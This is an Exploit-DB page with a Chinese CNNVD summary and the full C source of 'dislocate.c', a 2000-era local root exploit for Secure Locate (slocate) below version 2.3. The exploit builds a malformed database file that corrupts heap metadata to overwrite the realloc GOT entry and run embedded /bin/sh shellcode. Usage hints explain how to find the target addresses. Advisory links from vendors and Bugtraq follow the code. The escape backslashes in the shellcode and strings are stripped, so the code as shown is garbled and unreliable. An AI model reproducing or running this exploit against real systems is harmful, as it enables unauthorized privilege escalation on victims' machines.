https://www.exploit-db.com/exploits/216
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-084

SecureLocate(slocate)存在漏洞。本地用户借助畸形的说明在预期缓冲区外访问内存的补偿值的数据库文件损坏内存。

/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3
 * Copyright (C) 2000  Michel "MaXX" Kaempf <[email protected]>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/dislocate/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PATH "/tmp/path"

char *shellcode =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

void usage( char * string )
{
  fprintf( stderr, "* Usage: %s filename realloc mallocn", string );
  fprintf( stderr, "n" );
  fprintf( stderr, "* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878n", string );
  fprintf( stderr, "n" );
  fprintf( stderr, "* Realloc:n" );
  fprintf( stderr, "  $ objdump -R /usr/bin/slocate | grep reallocn" );
  fprintf( stderr, "n" );
  fprintf( stderr, "* Malloc:n" );
  fprintf( stderr, "  $ %s foobar 0x12121212 0x42424242n", string );
  fprintf( stderr, "  $ cp /usr/bin/slocate /tmpn" );
  fprintf( stderr, "  $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'n", PATH );
  fprintf( stderr, "  $ rm %sn", PATH );
  fprintf( stderr, "n" );
}

int zero( unsigned int ui )
{
  if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
    return( -1 );
  }
  return( 0 );
}

int main( int argc, char * argv[] )
{
  unsigned int ui_realloc;
  unsigned int ui_malloc;
  char path[1337];
  char next[1337];
  char * execve_argv[] = { NULL, "-d", PATH, next, NULL };
  int fd;
  unsigned int p_next;
  unsigned int ui;

  if ( argc != 4 ) {
    usage( argv[0] );
    return( -1 );
  }
  execve_argv[0] = argv[1];
  ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 );
  ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 );

  strcpy( next, "ppppssssffffbbbb" );
  p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);
  for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) {
    strcat( next, "X" );
  }
  p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);

  ui = 0;
  *((unsigned int *)(&(next[ui]))) = (unsigned int)(-1);

  ui += 4;
  *((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next;
  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
    fprintf( stderr, "debug: next->size == 0x%08x;n", *((unsigned int *)(&(next[ui]))) );
    return( -1 );
  }

  ui += 4;
  *((unsigned int *)(&(next[ui]))) = ui_realloc - 12;
  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
    fprintf( stderr, "debug: next->fd == 0x%08x;n", *((unsigned int *)(&(next[ui]))) );
    return( -1 );
  }

  ui += 4;
  *((unsigned int *)(&(next[ui]))) = ui_malloc;
  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
    fprintf( stderr, "debug: next->bk == 0x%08x;n", *((unsigned int *)(&(next[ui]))) );
    return( -1 );
  }

  ui = 0;
  path[ui] = (char)(256 - 4);

  ui += 1;
  *((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8);
  if ( zero( *((unsigned int *)(&(path[ui]))) ) ) {
    fprintf( stderr, "debug: oldp->size == 0x%08x;n", *((unsigned int *)(&(path[ui]))) );
    return( -1 );
  }

  ui += 4;
  path[ui] = 0;
  strcat( path, "xebx0axxyyyyzzzz" );
  strcat( path, shellcode );

  fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU );
  if ( fd == -1 ) {
    fprintf( stderr, "debug: open( "%s", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;n", PATH );
    return( -1 );
  }
  write( fd, "0", sizeof("0") );
  write( fd, "", sizeof("") );
  write( fd, path, strlen(path) );
  close( fd );

  execve( execve_argv[0], execve_argv, NULL );
  return( -1 );
}


// milw0rm.com [2000-12-02]

来源:BID
名称:2004
链接:http://www.securityfocus.com/bid/2004
来源:BUGTRAQ
名称:20001126[MSY]S(ecure)Locateheapcorruptionvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-11/0356.html
来源:XF
名称:slocate-heap-execute-code(5594)
链接:http://xforce.iss.net/static/5594.php
来源:TURBO
名称:TLSA2001002-1
链接:http://www.turbolinux.com/pipermail/tl-security-announce/2001-February/000144.html
来源:REDHAT
名称:RHSA-2000:128
链接:http://www.redhat.com/support/errata/RHSA-2000-128.html
来源:MANDRAKE
名称:MDKSA-2000:085
链接:http://www.linux-mandrake.com/en/security/2000/MDKSA-2000-085.php3
来源:DEBIAN
名称:DSA-005-1
链接:http://www.debian.org/security/2000/20001217a
来源:CONECTIVA
名称:CLA-2001:369
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio;=000369